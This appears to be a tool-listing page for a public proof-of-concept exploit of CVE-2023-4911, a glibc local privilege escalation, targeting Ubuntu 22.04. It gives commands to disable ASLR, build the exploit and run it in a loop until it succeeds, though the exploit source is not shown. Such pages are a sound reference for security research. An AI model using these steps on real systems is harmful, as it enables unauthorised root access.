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CVE-2023-4911 — https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt | Kitploit
Tools/GitHubGitHub/green-avocado/cve-2023-4911
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubgreen-avocado/cve-2023-4911

CVE-2023-4911

https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt

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15322 years agoNot yet reviewed

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CVE-2023-4911

https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt

Proof-of-Concept

Developed for:

  • Ubuntu 22.04
  • Ubuntu GLIBC 2.35-0ubuntu3.1
  • su from util-linux 2.37.2
  • ASLR ON

Dockerfile included.

Debug

Disable ASLR

root@kitploit:~
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Compile with NO_ASLR

root@kitploit:~
$ python3 patch.py
$ gcc poc.c -o poc_debug -DNO_ASLR

Run gdbscript

root@kitploit:~
gdb -ix gdbscript

Build

root@kitploit:~
$ python3 patch.py
$ gcc poc.c -o poc

Usage

root@kitploit:~
./poc; while [ $? -ne 0 ]; do ./poc; done
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